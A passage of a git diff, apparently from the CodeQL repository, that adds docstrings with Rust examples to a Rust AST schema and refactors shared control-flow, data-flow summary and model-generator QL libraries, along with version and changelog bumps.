todo!() + fn foo(t: T) {} + // ^^^^^^^^^^^^^ ``` """ @@ -1757,9 +1991,12 @@ class _: @annotate(TypeParam) class _: """ - A TypeParam. For example: + A type parameter in a generic parameter list. + + For example: ```rust - todo!() + fn foo(t: T) {} + // ^ ``` """ @@ -1767,9 +2004,11 @@ class _: @annotate(Union) class _: """ - A Union. For example: + A union declaration. + + For example: ```rust - todo!() + union U { f1: u32, f2: f32 } ``` """ @@ -1777,9 +2016,9 @@ class _: @annotate(Use) class _: """ - A Use. For example: + A `use` statement. For example: ```rust - todo!() + use std::collections::HashMap; ``` """ @@ -1787,7 +2026,7 @@ class _: @annotate(UseTree) class _: """ - A UseTree. For example: + A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: ```rust use std::collections::HashMap; use std::collections::*; @@ -1800,9 +2039,12 @@ class _: @annotate(UseTreeList) class _: """ - A UseTreeList. For example: + A list of use trees in a use declaration. + + For example: ```rust - todo!() + use std::{fs, io}; + // ^^^^^^^^ ``` """ @@ -1810,9 +2052,12 @@ class _: @annotate(Variant, add_bases=(Addressable,)) class _: """ - A Variant. For example: + A variant in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B(i32), C { x: i32 } } + // ^ ^^^^^^ ^^^^^^^^^^^^ ``` """ @@ -1820,9 +2065,12 @@ class _: @annotate(VariantList) class _: """ - A VariantList. For example: + A list of variants in an enum declaration. + + For example: ```rust - todo!() + enum E { A, B, C } + // ^^^^^^^^^^^ ``` """ @@ -1830,9 +2078,12 @@ class _: @annotate(Visibility) class _: """ - A Visibility. For example: + A visibility modifier. + + For example: ```rust - todo!() + pub struct S; + //^^^ ``` """ @@ -1840,9 +2091,12 @@ class _: @annotate(WhereClause) class _: """ - A WhereClause. For example: + A where clause in a generic declaration. + + For example: ```rust - todo!() + fn foo(t: T) where T: Debug {} + // ^^^^^^^^^^^^^^ ``` """ @@ -1850,9 +2104,12 @@ class _: @annotate(WherePred) class _: """ - A WherePred. For example: + A predicate in a where clause. + + For example: ```rust - todo!() + fn foo(t: T, u: U) where T: Debug, U: Clone {} + // ^^^^^^^^ ^^^^^^^^ ``` """ @@ -1860,9 +2117,13 @@ class _: @annotate(WhileExpr, replace_bases={Expr: LoopingExpr}, cfg=True) class _: """ - A WhileExpr. For example: + A while loop expression. + + For example: ```rust - todo!() + while x < 10 { + x += 1; + } ``` """ label: drop @@ -1945,6 +2206,249 @@ class FormatArgument(Locatable): variable: optional[FormatTemplateVariableAccess] | child -@annotate(Item, add_bases=(Addressable,)) +@annotate(MacroDef) class _: - pass + """ + A Rust 2.0 style declarative macro definition. + + For example: + ```rust + pub macro vec_of_two($element:expr) { + vec![$element, $element] + } + ``` + """ + + +@annotate(MacroExpr, cfg=True) +class _: + """ + A macro expression, representing the invocation of a macro that produces an expression. + + For example: + ```rust + let y = vec![1, 2, 3]; + ``` + """ + + +@annotate(MacroPat, cfg=True) +class _: + """ + A macro pattern, representing the invocation of a macro that produces a pattern. + + For example: + ```rust + macro_rules! my_macro { + () => { + Ok(_) + }; + } + match x { + my_macro!() => "matched", + // ^^^^^^^^^^^ + _ => "not matched", + } + ``` + """ + + +@annotate(ParamList) +class _: + """ + A list of parameters in a function, method, or closure declaration. + + For example: + ```rust + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmDirSpec) +class _: + """ + An inline assembly direction specifier. + + For example: + ```rust + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ + ``` + """ + + +@annotate(AsmOperandExpr) +class _: + """ + An operand expression in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmOption) +class _: + """ + An option in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegSpec) +class _: + """ + A register specification in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ + ``` + """ + + +@annotate(AsmClobberAbi) +class _: + """ + A clobbered ABI in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("", clobber_abi("C")); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmConst) +class _: + """ + A constant operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov eax, {const}", const 42); + // ^^^^^^^ + ``` + """ + + +@annotate(AsmLabel) +class _: + """ + A label in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); + ``` + """ + + +@annotate(AsmOperandNamed) +class _: + """ + A named operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmOptionsList) +class _: + """ + A list of options in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("", options(nostack, nomem)); + // ^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(AsmRegOperand) +class _: + """ + A register operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("mov {0}, {1}", out(reg) x, in(reg) y); + // ^ ^ + ``` + """ + + +@annotate(AsmSym) +class _: + """ + A symbol operand in an inline assembly block. + + For example: + ```rust + use core::arch::asm; + asm!("call {sym}", sym = sym my_function); + // ^^^^^^^^^^^^^^^^^^^^^^ + ``` + """ + + +@annotate(UseBoundGenericArgs) +class _: + """ + A use<..> bound to control which generic parameters are captured by an impl Trait return type. + + For example: + ```rust + pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + // ^^^^^^^^ + ``` + """ + + +@annotate(ParenthesizedArgList) +class _: + """ + A parenthesized argument list as used in function traits. + + For example: + ```rust + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } + ``` + """ diff --git a/rust/schema/prelude.py b/rust/schema/prelude.py index 5fc4aba2e1ad..6d356567d22a 100644 --- a/rust/schema/prelude.py +++ b/rust/schema/prelude.py @@ -116,7 +116,6 @@ class ExtractorStep(Element): class Crate(Locatable): name: optional[string] version: optional[string] - module: optional["Module"] cfg_options: list[string] named_dependencies: list["NamedCrate"] | ql.internal diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 1aab9a2eebaf..a9641b2d087d 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.9 + +No user-facing changes. + +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.8.md b/shared/controlflow/change-notes/released/2.0.8.md new file mode 100644 index 000000000000..4d6867c721bf --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.9.md b/shared/controlflow/change-notes/released/2.0.9.md new file mode 100644 index 000000000000..b89eb98bbd9d --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 08d5e9594498..ce305265e337 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.9 diff --git a/shared/controlflow/codeql/controlflow/BasicBlock.qll b/shared/controlflow/codeql/controlflow/BasicBlock.qll index 74dc8ca5f512..9c26b18c0938 100644 --- a/shared/controlflow/codeql/controlflow/BasicBlock.qll +++ b/shared/controlflow/codeql/controlflow/BasicBlock.qll @@ -51,23 +51,11 @@ signature module InputSig { module Make Input> { private import Input - final class BasicBlock = BasicBlockImpl; - - private Node nodeGetAPredecessor(Node node, SuccessorType s) { - nodeGetASuccessor(result, s) = node - } - - /** Holds if this node has more than one predecessor. */ - private predicate nodeIsJoin(Node node) { strictcount(nodeGetAPredecessor(node, _)) > 1 } - - /** Holds if this node has more than one successor. */ - private predicate nodeIsBranch(Node node) { strictcount(nodeGetASuccessor(node, _)) > 1 } - /** * A basic block, that is, a maximal straight-line sequence of control flow nodes * without branches or joins. */ - private class BasicBlockImpl extends TBasicBlockStart { + final class BasicBlock extends TBasicBlockStart { /** Gets the CFG scope of this basic block. */ CfgScope getScope() { result = nodeGetCfgScope(this.getFirstNode()) } @@ -78,9 +66,7 @@ module Make Input> { BasicBlock getASuccessor() { result = this.getASuccessor(_) } /** Gets an immediate successor of this basic block of a given type, if any. */ - BasicBlock getASuccessor(SuccessorType t) { - result.getFirstNode() = nodeGetASuccessor(this.getLastNode(), t) - } + BasicBlock getASuccessor(SuccessorType t) { bbSuccessor(this, result, t) } /** Gets an immediate predecessor of this basic block, if any. */ BasicBlock getAPredecessor() { result.getASuccessor(_) = this } @@ -259,6 +245,10 @@ module Make Input> { * only be reached from the entry block by going through `(bb1, bb2)`. This * implies that `(bb1, bb2)` dominates its endpoint `bb2`. I.e., `bb2` can * only be reached from the entry block by going via `(bb1, bb2)`. + * + * This is a necessary and sufficient condition for an edge to dominate some + * block, and therefore `dominatingEdge(bb1, bb2) and bb2.dominates(bb3)` + * means that the edge `(bb1, bb2)` dominates `bb3`. */ pragma[nomagic] predicate dominatingEdge(BasicBlock bb1, BasicBlock bb2) { @@ -285,6 +275,16 @@ module Make Input> { cached private module Cached { + private Node nodeGetAPredecessor(Node node, SuccessorType s) { + nodeGetASuccessor(result, s) = node + } + + /** Holds if this node has more than one predecessor. */ + private predicate nodeIsJoin(Node node) { strictcount(nodeGetAPredecessor(node, _)) > 1 } + + /** Holds if this node has more than one successor. */ + private predicate nodeIsBranch(Node node) { strictcount(nodeGetASuccessor(node, _)) > 1 } + /** * Internal representation of basic blocks. A basic block is represented * by its first CFG node. @@ -341,11 +341,19 @@ module Make Input> { cached Node getNode(BasicBlock bb, int pos) { bbIndex(bb.getFirstNode(), result, pos) } + /** Holds if `bb` is an entry basic block. */ + private predicate entryBB(BasicBlock bb) { nodeIsDominanceEntry(bb.getFirstNode()) } + + cached + predicate bbSuccessor(BasicBlock bb1, BasicBlock bb2, SuccessorType t) { + bb2.getFirstNode() = nodeGetASuccessor(bb1.getLastNode(), t) + } + /** * Holds if the first node of basic block `succ` is a control flow * successor of the last node of basic block `pred`. */ - private predicate succBB(BasicBlock pred, BasicBlock succ) { pred.getASuccessor(_) = succ } + private predicate succBB(BasicBlock pred, BasicBlock succ) { bbSuccessor(pred, succ, _) } /** Holds if `dom` is an immediate dominator of `bb`. */ cached @@ -365,7 +373,4 @@ module Make Input> { } private import Cached - - /** Holds if `bb` is an entry basic block. */ - private predicate entryBB(BasicBlock bb) { nodeIsDominanceEntry(bb.getFirstNode()) } } diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 7a8528bcf06f..08958db7e3e9 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.7 +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 36d289f7f049..10cb758f6ea9 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.9 + +No user-facing changes. + +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.8.md b/shared/dataflow/change-notes/released/2.0.8.md new file mode 100644 index 000000000000..4d6867c721bf --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.9.md b/shared/dataflow/change-notes/released/2.0.9.md new file mode 100644 index 000000000000..b89eb98bbd9d --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.9.md @@ -0,0 +1,3 @@ +## 2.0.9 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 08d5e9594498..ce305265e337 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.9 diff --git a/shared/dataflow/codeql/dataflow/VariableCapture.qll b/shared/dataflow/codeql/dataflow/VariableCapture.qll index c76e1320a37e..c2c84b7f0f87 100644 --- a/shared/dataflow/codeql/dataflow/VariableCapture.qll +++ b/shared/dataflow/codeql/dataflow/VariableCapture.qll @@ -732,6 +732,8 @@ module Flow Input> implements OutputSig } class Guard extends Void { + predicate hasBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { none() } + predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) { none() } } diff --git a/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll b/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll index 95d29153f47e..244cc5731976 100644 --- a/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll +++ b/shared/dataflow/codeql/dataflow/internal/FlowSummaryImpl.qll @@ -54,6 +54,20 @@ signature module InputSig Lang> { /** Gets the return kind corresponding to specification `"ReturnValue"`. */ Lang::ReturnKind getStandardReturnValueKind(); + /** + * Gets the return kind corresponding to specification `"ReturnValue"` when + * supplied with the argument `arg`. + * + * Note that it is expected that the following equality holds: + * ``` + * getReturnValueKind("") = getStandardReturnValueKind() + * ``` + */ + default Lang::ReturnKind getReturnValueKind(string arg) { + arg = "" and + result = getStandardReturnValueKind() + } + /** Gets the textual representation of parameter position `pos` used in MaD. */ string encodeParameterPosition(Lang::ParameterPosition pos); @@ -2164,9 +2178,15 @@ module Make< ) ) or - c = "ReturnValue" and - node.asNode() = - getAnOutNodeExt(mid.asCall(), TValueReturn(getStandardReturnValueKind())) + c.getName() = "ReturnValue" and + exists(ReturnKind rk | + not exists(c.getAnArgument()) and + rk = getStandardReturnValueKind() + or + rk = getReturnValueKind(c.getAnArgument()) + | + node.asNode() = getAnOutNodeExt(mid.asCall(), TValueReturn(rk)) + ) or SourceSinkInterpretationInput::interpretOutput(c, mid, node) ) @@ -2198,12 +2218,16 @@ module Make< ) ) or - exists(ReturnNode ret, ValueReturnKind kind | - c = "ReturnValue" and + exists(ReturnNode ret, ReturnKind kind | + c.getName() = "ReturnValue" and ret = node.asNode() and - kind.getKind() = ret.getKind() and - kind.getKind() = getStandardReturnValueKind() and + kind = ret.getKind() and mid.asCallable() = getNodeEnclosingCallable(ret) + | + not exists(c.getAnArgument()) and + kind = getStandardReturnValueKind() + or + kind = getReturnValueKind(c.getAnArgument()) ) or SourceSinkInterpretationInput::interpretInput(c, mid, node) diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 30e12f194562..6629d0eb19bd 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.7 +version: 2.0.9 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 5efa3ce9aec8..ac6be6596f73 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.24.md b/shared/mad/change-notes/released/1.0.24.md new file mode 100644 index 000000000000..379b5e336576 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.25.md b/shared/mad/change-notes/released/1.0.25.md new file mode 100644 index 000000000000..51ce67fd9b15 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index 0f96ba41d168..a5a44030e851 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index dabd687b52b9..829bf267c226 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -11,6 +11,7 @@ private import codeql.dataflow.internal.ContentDataFlowImpl private import codeql.dataflow.internal.DataFlowImplCommon as DataFlowImplCommon private import codeql.util.Location private import ModelPrinting +private import codeql.util.Unit /** * Provides language-specific model generator parameters. @@ -72,14 +73,14 @@ signature module ModelGeneratorCommonInputSig::getOutput(node) + private string getApproximateOutput(ReturnNodeExt node) { + result = PrintReturnNodeExt::getOutput(node) + } + + private string getExactOutput(ReturnNodeExt node) { + result = PrintReturnNodeExt::getOutput(node) } /** @@ -319,6 +324,16 @@ module MakeModelGeneratorFactory< DataFlowSummaryTargetApi() { not isUninterestingForDataFlowModels(this) } } + /** + * Gets the MaD string representation of the parameter `p` + * when used in exact flow. + */ + private string parameterNodeAsExactInput(DataFlow::ParameterNode p) { + result = parameterExactAccess(asParameter(p)) + or + result = qualifierString() and p instanceof InstanceParameterNode + } + /** * Provides classes and predicates related to capturing summary models * based on heuristic data flow. @@ -335,21 +350,25 @@ module MakeModelGeneratorFactory< /** * Gets the MaD string representation of the parameter node `p`. */ - string parameterNodeAsInput(DataFlow::ParameterNode p) { - result = parameterAccess(asParameter(p)) + private string parameterNodeAsApproximateInput(DataFlow::ParameterNode p) { + result = parameterApproximateAccess(asParameter(p)) or result = qualifierString() and p instanceof InstanceParameterNode } /** * Gets the summary model of `api`, if it follows the `fluent` programming pattern (returns `this`). + * + * The strings `input` and `output` represent the qualifier and the return value, respectively. */ - private string captureQualifierFlow(DataFlowSummaryTargetApi api) { + private string captureQualifierFlow(DataFlowSummaryTargetApi api, string input, string output) { exists(ReturnNodeExt ret | api = returnNodeEnclosingCallable(ret) and isOwnInstanceAccessNode(ret) ) and - result = ModelPrintingSummary::asLiftedValueModel(api, qualifierString(), "ReturnValue") + input = qualifierString() and + output = "ReturnValue" and + result = ModelPrintingSummary::asLiftedValueModel(api, input, output) } private int accessPathLimit0() { result = 2 } @@ -394,14 +413,22 @@ module MakeModelGeneratorFactory< override string toString() { result = "TaintStore(" + step + ")" } } - /** - * A data flow configuration for tracking flow through APIs. - * The sources are the parameters of an API and the sinks are the return values (excluding `this`) and parameters. - * - * This can be used to generate Flow summaries for APIs from parameter to return. - */ - private module PropagateFlowConfig implements DataFlow::StateConfigSig { - class FlowState = TaintState; + private signature module PropagateFlowConfigInputSig { + class FlowState; + + FlowState initialState(); + + default predicate isAdditionalFlowStep( + DataFlow::Node node1, FlowState state1, DataFlow::Node node2, FlowState state2 + ) { + none() + } + } + + private module PropagateFlowConfig + implements DataFlow::StateConfigSig + { + import PropagateFlowConfigInput predicate isSource(DataFlow::Node source, FlowState state) { source instanceof DataFlow::ParameterNode and @@ -410,7 +437,7 @@ module MakeModelGeneratorFactory< c instanceof DataFlowSummaryTargetApi and not isUninterestingForHeuristicDataFlowModels(c) ) and - state.(TaintRead).getStep() = 0 + state = initialState() } predicate isSink(DataFlow::Node sink, FlowState state) { @@ -421,9 +448,34 @@ module MakeModelGeneratorFactory< predicate isSink(DataFlow::Node sink) { sink instanceof ReturnNodeExt and not isOwnInstanceAccessNode(sink) and - not exists(captureQualifierFlow(getAsExprEnclosingCallable(sink))) + not exists(captureQualifierFlow(getAsExprEnclosingCallable(sink), _, _)) } + predicate isAdditionalFlowStep = PropagateFlowConfigInput::isAdditionalFlowStep/4; + + predicate isBarrier(DataFlow::Node n) { + exists(Type t | t = n.(NodeExtended).getType() and not isRelevantType(t)) + } + + DataFlow::FlowFeature getAFeature() { + result instanceof DataFlow::FeatureEqualSourceSinkCallContext + } + } + + /** + * A module used to construct a data flow configuration for tracking taint- + * flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate flow summaries for APIs from parameter to + * return. + */ + module PropagateFlowConfigInputTaintInput implements PropagateFlowConfigInputSig { + class FlowState = TaintState; + + FlowState initialState() { result.(TaintRead).getStep() = 0 } + predicate isAdditionalFlowStep( DataFlow::Node node1, FlowState state1, DataFlow::Node node2, FlowState state2 ) { @@ -445,51 +497,117 @@ module MakeModelGeneratorFactory< state1.(TaintRead).getStep() + 1 = state2.(TaintRead).getStep() ) } + } - predicate isBarrier(DataFlow::Node n) { - exists(Type t | t = n.(NodeExtended).getType() and not isRelevantType(t)) - } + /** + * A data flow configuration for tracking taint-flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate flow summaries for APIs from parameter to + * return. + */ + private module PropagateTaintFlowConfig = + PropagateFlowConfig; - DataFlow::FlowFeature getAFeature() { - result instanceof DataFlow::FeatureEqualSourceSinkCallContext - } - } + module PropagateTaintFlow = TaintTracking::GlobalWithState; + + /** + * A module used to construct a data flow configuration for tracking + * data flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate value-preserving flow summaries for APIs + * from parameter to return. + */ + module PropagateFlowConfigInputDataFlowInput implements PropagateFlowConfigInputSig { + class FlowState = Unit; - module PropagateFlow = TaintTracking::GlobalWithState; + FlowState initialState() { any() } + } /** - * Gets the summary model(s) of `api`, if there is flow from parameters to return value or parameter. + * A data flow configuration for tracking data flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate flow summaries for APIs from parameter to + * return. */ - string captureThroughFlow0( + private module PropagateDataFlowConfig = + PropagateFlowConfig; + + module PropagateDataFlow = DataFlow::GlobalWithState; + + predicate captureThroughFlow0( DataFlowSummaryTargetApi api, DataFlow::ParameterNode p, ReturnNodeExt returnNodeExt ) { - exists(string input, string output | - getEnclosingCallable(p) = api and - getEnclosingCallable(returnNodeExt) = api and - input = parameterNodeAsInput(p) and - output = getOutput(returnNodeExt) and - input != output and - result = ModelPrintingSummary::asLiftedTaintModel(api, input, output) - ) + captureThroughFlow0(api, p, _, returnNodeExt, _, _) + } + + /** + * Holds if there should be a summary of `api` specifying flow + * from `p` (with summary component `input`) to `returnNodeExt` (with + * summary component `output`). + * + * `preservesValue` is true if the summary is value-preserving, or `false` + * otherwise. + */ + private predicate captureThroughFlow0( + DataFlowSummaryTargetApi api, DataFlow::ParameterNode p, string input, + ReturnNodeExt returnNodeExt, string output, boolean preservesValue + ) { + ( + PropagateDataFlow::flow(p, returnNodeExt) and + input = parameterNodeAsExactInput(p) and + output = getExactOutput(returnNodeExt) and + preservesValue = true + or + not PropagateDataFlow::flow(p, returnNodeExt) and + PropagateTaintFlow::flow(p, returnNodeExt) and + input = parameterNodeAsApproximateInput(p) and + output = getApproximateOutput(returnNodeExt) and + preservesValue = false + ) and + getEnclosingCallable(p) = api and + getEnclosingCallable(returnNodeExt) = api and + input != output } /** * Gets the summary model(s) of `api`, if there is flow from parameters to return value or parameter. + * + * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ - private string captureThroughFlow(DataFlowSummaryTargetApi api) { - exists(DataFlow::ParameterNode p, ReturnNodeExt returnNodeExt | - PropagateFlow::flow(p, returnNodeExt) and - result = captureThroughFlow0(api, p, returnNodeExt) - ) + private string captureThroughFlow( + DataFlowSummaryTargetApi api, string input, string output, boolean preservesValue + ) { + preservesValue = max(boolean b | captureThroughFlow0(api, _, input, _, output, b)) and + result = ModelPrintingSummary::asLiftedModel(api, input, output, preservesValue) + } + + /** + * Gets the summary model(s) of `api`, if there is flow `input` to + * `output`. `preservesValue` is `true` if the summary is value- + * preserving, and `false` otherwise. + */ + string captureFlow( + DataFlowSummaryTargetApi api, string input, string output, boolean preservesValue + ) { + result = captureQualifierFlow(api, input, output) and preservesValue = true + or + result = captureThroughFlow(api, input, output, preservesValue) } /** * Gets the summary model(s) of `api`, if there is flow from parameters to the * return value or parameter or if `api` is a fluent API. + * + * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ - string captureFlow(DataFlowSummaryTargetApi api) { - result = captureQualifierFlow(api) or - result = captureThroughFlow(api) + string captureFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { + result = captureFlow(api, _, _, preservesValue) } /** @@ -499,7 +617,7 @@ module MakeModelGeneratorFactory< */ string captureNoFlow(DataFlowSummaryTargetApi api) { not exists(DataFlowSummaryTargetApi api0 | - exists(captureFlow(api0)) and api0.lift() = api.lift() + exists(captureFlow(api0, _)) and api0.lift() = api.lift() ) and api.isRelevant() and result = ModelPrintingSummary::asNeutralSummaryModel(api) @@ -550,20 +668,6 @@ module MakeModelGeneratorFactory< private module ContentModelPrinting = Printing::ModelPrintingSummary; - private string getContentOutput(ReturnNodeExt node) { - result = PrintReturnNodeExt::getOutput(node) - } - - /** - * Gets the MaD string representation of the parameter `p` - * when used in content flow. - */ - private string parameterNodeAsContentInput(DataFlow::ParameterNode p) { - result = parameterContentAccess(asParameter(p)) - or - result = qualifierString() and p instanceof InstanceParameterNode - } - private string getContent(PropagateContentFlow::AccessPath ap, int i) { result = "." + printContent(ap.getAtIndex(i)) } @@ -639,8 +743,8 @@ module MakeModelGeneratorFactory< PropagateContentFlow::AccessPath stores | apiFlow(this, parameter, reads, returnNodeExt, stores, _) and - input = parameterNodeAsContentInput(parameter) + printReadAccessPath(reads) and - output = getContentOutput(returnNodeExt) + printStoreAccessPath(stores) + input = parameterNodeAsExactInput(parameter) + printReadAccessPath(reads) and + output = getExactOutput(returnNodeExt) + printStoreAccessPath(stores) ) ) <= 3 } @@ -847,8 +951,8 @@ module MakeModelGeneratorFactory< PropagateContentFlow::AccessPath reads, PropagateContentFlow::AccessPath stores | apiRelevantContentFlow(api, p, reads, returnNodeExt, stores, preservesValue) and - input = parameterNodeAsContentInput(p) + printReadAccessPath(reads) and - output = getContentOutput(returnNodeExt) + printStoreAccessPath(stores) and + input = parameterNodeAsExactInput(p) + printReadAccessPath(reads) and + output = getExactOutput(returnNodeExt) + printStoreAccessPath(stores) and input != output and validateAccessPath(reads) and validateAccessPath(stores) and @@ -861,18 +965,20 @@ module MakeModelGeneratorFactory< } /** - * Gets the content based summary model(s) of the API `api` (if there is flow from a parameter to - * the return value or a parameter). `lift` is true, if the model should be lifted, otherwise false. + * Gets the content based summary model(s) of the API `api` (if there is flow from `input` to + * `output`). `lift` is true, if the model should be lifted, otherwise false. + * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. * * Models are lifted to the best type in case the read and store access paths do not * contain a field or synthetic field access. */ - string captureFlow(ContentDataFlowSummaryTargetApi api, boolean lift) { - exists(string input, string output, boolean preservesValue | - captureFlow0(api, input, output, _, lift) and - preservesValue = max(boolean p | captureFlow0(api, input, output, p, lift)) and - result = ContentModelPrinting::asModel(api, input, output, preservesValue, lift) - ) + string captureFlow( + ContentDataFlowSummaryTargetApi api, string input, string output, boolean lift, + boolean preservesValue + ) { + captureFlow0(api, input, output, _, lift) and + preservesValue = max(boolean p | captureFlow0(api, input, output, p, lift)) and + result = ContentModelPrinting::asModel(api, input, output, preservesValue, lift) } } @@ -885,17 +991,32 @@ module MakeModelGeneratorFactory< * generate flow summaries using the heuristic based summary generator. */ string captureFlow(DataFlowSummaryTargetApi api, boolean lift) { - result = ContentSensitive::captureFlow(api, lift) + result = ContentSensitive::captureFlow(api, _, _, lift, _) or - not exists(DataFlowSummaryTargetApi api0 | - (api0 = api or api.lift() = api0) and - exists(ContentSensitive::captureFlow(api0, false)) - or - api0.lift() = api.lift() and - exists(ContentSensitive::captureFlow(api0, true)) - ) and - result = Heuristic::captureFlow(api) and - lift = true + exists(boolean preservesValue, string input, string output | + not exists( + DataFlowSummaryTargetApi api0, string input0, string output0, boolean preservesValue0 + | + // If the heuristic summary is taint-based, and we can generate a content-sensitive + // summary then we omit generating the heuristic summary. + preservesValue = false + or + // If they're both value-preserving then we only generate a heuristic summary if + // we didn't generate a content-sensitive summary on the same input/output pair. + preservesValue = true and + preservesValue0 = true and + input0 = input and + output0 = output + | + (api0 = api or api.lift() = api0) and + exists(ContentSensitive::captureFlow(api0, input0, output0, false, preservesValue0)) + or + api0.lift() = api.lift() and + exists(ContentSensitive::captureFlow(api0, input0, output0, true, preservesValue0)) + ) and + result = Heuristic::captureFlow(api, input, output, preservesValue) and + lift = true + ) } /** @@ -1056,7 +1177,7 @@ module MakeModelGeneratorFactory< sourceNode(source, kind) and api = getEnclosingCallable(sink) and not irrelevantSourceSinkApi(getEnclosingCallable(source), api) and - result = ModelPrintingSourceOrSink::asSourceModel(api, getOutput(sink), kind) + result = ModelPrintingSourceOrSink::asSourceModel(api, getExactOutput(sink), kind) ) } } diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll 